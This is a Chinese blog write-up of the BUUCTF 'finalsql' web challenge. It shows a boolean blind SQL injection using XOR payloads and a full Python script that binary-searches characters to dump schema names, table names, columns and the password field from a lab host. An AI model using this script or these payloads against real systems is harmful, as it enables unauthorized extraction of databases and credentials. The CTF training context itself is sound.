buuctf web finalsql

原创

显哥无敌 于 2021-12-31 09:33:13 发布 262 收藏

分类专栏： BUUCTF 文章标签： web安全

本文链接：https://blog.csdn.net/qq_41696858/article/details/122249704

版权

BUUCTF 专栏收录该内容

73 篇文章 2 订阅

订阅专栏

没啥好说的，经典爆破，随便点一个数字，点1，会跳转到search.php?id=1

把1改成0，会报错error，经典布尔盲注，buuctf，原生爆破想都不要想，二分查找吧

先手动测试

payload？id=1^1 error

payload ？ id=1^0 NO! Not this! Click others~~~

测试成功，脚本爆破

```python
import re
import requests
import string
import time

url = "http://a3a385c8-781e-4ee7-b342-b239ceaa8a52.node4.buuoj.cn:81/search.php"
flag = ''


def payload(i, j):
    # 数据库名字
    # sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, j)
    # 表名
    # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
    # 列名
    # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
    # 查询flag
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
    data = {"id": sql}
    r = requests.get(url, params=data)
    # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
    return res


def exp():
    global flag
    for i in range(1, 10000):
        time.sleep(1)
        print(i, ':')
        low = 31
        high = 127
        while low <= high:
            mid = (low + high) // 2
            res = payload(i, mid)
            if res:
                low = mid + 1
            else:
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)


exp()
print('flag=', flag)
```

参考视频链接:https://www.bilibili.com/video/BV1GD4y1F7qv/